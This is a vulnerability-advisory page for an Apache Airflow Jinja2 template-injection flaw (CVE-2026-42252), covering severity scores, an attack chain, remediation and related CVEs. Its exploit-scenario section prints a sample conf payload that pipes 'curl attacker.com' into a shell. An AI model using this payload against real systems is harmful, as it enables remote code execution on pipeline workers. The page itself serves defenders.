Skip to main content

Apache Airflow CVE-2026-42252

| EUVDEUVD-2026-33591 CRITICAL
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
9.1
CVSS 3.1 · Vendor
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Airflow UI/API
  2. Delivery
    Identify DAG using vulnerable BashOperator template
  3. Exploit
    Trigger DAG run with Jinja2 payload in conf
  4. Execution
    Worker renders template and executes injected expression
  5. Persist
    Shell command runs as Airflow worker user
  6. Impact
    Pivot to secrets, connections, or worker host

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization Template injection prevention
Exploitation Conditions

Exploitation requires (1) an Airflow deployment running 3.0.0 through 3.2.1, (2) at least one DAG authored with BashOperator (or comparable templated operator) that interpolates dag_run.conf values directly into its bash_command field - the specific anti-pattern shown in the patched documentation, (3) an authenticated Airflow account with permission to trigger that DAG with a custom conf payload (the description explicitly describes this as a 'low-privilege user pattern', which contradicts the CVSS PR:N rating and should be verified with the vendor advisory). Limiting factors: DAGs not using the unsafe interpolation pattern are not exploitable even on vulnerable versions, and deployments that do not expose DAG-trigger permissions to untrusted users effectively neutralize the attack surface.

Impact

Signals here are notably conflicting. CVSS 9.1 with AV:N/AC:L/PR:N/UI:N/C:H/I:H suggests an unauthenticated network-reachable critical, yet the description and PR clearly describe a 'low-privilege user pattern' requiring the ability to trigger a DAG run with a custom conf payload - meaning real exploitation requires at least Airflow user authentication with trigger_dag permission on a vulnerable DAG, not anonymous network access. EPSS at 0.03% (9th percentile) and the absence of KEV listing or known public exploit indicate this is not currently being exploited at scale. The realistic risk is high for any Airflow deployment with multi-tenant DAG access where untrusted users can trigger runs against DAGs authored with the unsafe BashOperator pattern, and substantially lower for single-tenant deployments. The CVSS PR:N rating should be verified against vendor documentation, as the description's 'low-privilege user' phrasing contradicts a true unauthenticated rating.

Exploit ScenarioDerived

An authenticated Airflow user with permission to trigger a DAG that uses the unsafe BashOperator pattern submits a DAG run with a crafted conf payload such as {"conf1": "{{ lookup('pipe', 'curl attacker.com | sh') }}"} or a Jinja2 expression invoking os.popen. When the worker renders the bash_command template, the injected expression executes in the Jinja2 sandbox and resulting shell metacharacters run with the privileges of the Airflow worker process. No public exploit is identified at time of analysis, but the SSTI primitive is well understood and trivially weaponizable against any DAG matching the vulnerable pattern.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 02, 2026

Server-side template injection in Apache Airflow versions 3.0.0 through 3.2.1 allows low-privilege authenticated users to inject Jinja2 expressions via dag_run.conf parameters that are unsafely interpolated into BashOperator commands, leading to arbitrary command execution in the worker context. The flaw carries a 9.1 CVSS but EPSS sits at just 0.03% (9th percentile), and there is no public exploit identified at time of analysis despite a vendor patch being available. Disclosure occurred via the oss-security mailing list on 2026-05-31 alongside several other Airflow advisories.

RemediationAI

Upgrade to Apache Airflow 3.2.2 or later, which is the first release outside the affected range per the EUVD record; patch is available from the vendor and the upstream fix is tracked in https://github.com/apache/airflow/pull/64129. As an immediate code-level mitigation, rewrite vulnerable DAGs to pass dag_run.conf values via the BashOperator env parameter and reference them as shell variables in bash_command (e.g. echo "$message" with env={"message": '{{ dag_run.conf["message"] if dag_run else "" }}'}) rather than splicing them directly into the command template - this prevents Jinja2 from re-rendering attacker-controlled data. Where upgrade is not yet possible, restrict the can_create DAG run / can_edit permissions to trusted users only and audit existing DAGs for direct {{ dag_run.conf[...] }} interpolation inside BashOperator, PythonOperator command strings, or similar templated execution sinks; note that restricting trigger permissions reduces operational flexibility for self-service pipelines.

Affected VersionsENISA

Apache Airflow 3.0.0 <3.2.2

Affected Packages

pypi apache-airflow fix: 3.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Apache Airflow is a workflow orchestration platform where DAGs (directed acyclic graphs) define pipelines composed of operators such as BashOperator. The BashOperator passes its bash_command field through Jinja2 template rendering before shell execution, and when authors directly interpolate dag_run.conf values (e.g. {{ dag_run.conf['conf1'] }}) into the command string, those values are first rendered as Jinja2 templates rather than treated as literal data. This maps to CWE-1336 (improper neutralization of special elements used in a template engine), the classic SSTI pattern. The upstream fix in PR #64129 demonstrates the safe pattern: pass user-controlled conf values through the env parameter and reference them as shell variables ($message), which avoids re-rendering the data through Jinja2 entirely.

Know when Airflow gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (CNA) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Primary rating from Vendor (CNA) · only source for this CVE.

CVSS VectorVendor

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

4
CVSS changed
Jun 02, 2026 - 17:22 NVD
9.1 (CRITICAL)
Patch available
Jun 01, 2026 - 10:01 EUVD
CVE Published
May 31, 2026 - 12:45 nvd
UNKNOWN (no severity yet)
CVE Published
May 31, 2026 - 12:45 nvd
CRITICAL 9.1

Description PRE-NVD

Disclosed via oss-security. NVD scoring and full description are pending.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 4 pypi packages depend on apache-airflow (2 direct, 2 indirect)

Ecosystem-wide dependent count for version 3.0.0.

Executive ViewAI

Why It Matters

Apache Airflow versions 3.0.0 through 3.2.1 contain a critical server-side template injection vulnerability that allows low-privilege authenticated users to execute arbitrary commands on orchestration workers. This threatens data pipeline integrity and worker infrastructure at affected organizations; however, no public exploit code exists and active exploitation remains unlikely based on current threat intelligence.

Business Impact: High
Compensating Controls

Patch available per vendor advisory. If immediate patching is not feasible: restrict permissions for dag_run.conf parameter submission to administrators; implement network segmentation to limit worker node exposure; deploy detection for unexpected command execution patterns on worker processes.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

CVE-2020-13927 CRITICAL POC
9.8 Nov 10

The previous default setting for Airflow's Experimental API was to allow all API requests without authentication, but th

CVE-2020-11978 HIGH POC
8.8 Jul 17

An issue was found in Apache Airflow versions 1.10.10 and below. Rated high severity (CVSS 8.8), this vulnerability is r

CVE-2021-38540 CRITICAL POC
9.8 Sep 09

The variable import endpoint was not protected by authentication in Airflow >=2.0.0, <2.1.3. Rated critical severity (CV

CVE-2022-40127 HIGH POC
8.8 Nov 14

A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arb

CVE-2022-24288 HIGH POC
8.8 Feb 25

In Apache Airflow, prior to version 2.2.4, some example DAGs did not properly sanitize user-provided params, making them

CVE-2022-45402 MEDIUM
6.1 Nov 15

In Apache Airflow versions prior to 2.4.3, there was an open redirect in the webserver's `/login` endpoint. Rated medium

CVE-2020-11981 CRITICAL POC
9.8 Jul 17

An issue was found in Apache Airflow versions 1.10.10 and below. Rated critical severity (CVSS 9.8), this vulnerability

CVE-2020-17526 HIGH POC
7.7 Dec 21

Incorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a maliciou

CVE-2020-11982 CRITICAL
9.8 Jul 17

An issue was found in Apache Airflow versions 1.10.10 and below. Rated critical severity (CVSS 9.8), this vulnerability

CVE-2020-13944 MEDIUM
6.1 Sep 17

In Apache Airflow < 1.10.12, the "origin" parameter passed to some of the endpoints like '/trigger' was vulnerable to XS

CVE-2022-40189 CRITICAL
9.8 Nov 22

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Airfl

CVE-2022-38649 CRITICAL
9.8 Nov 22

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Airfl

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy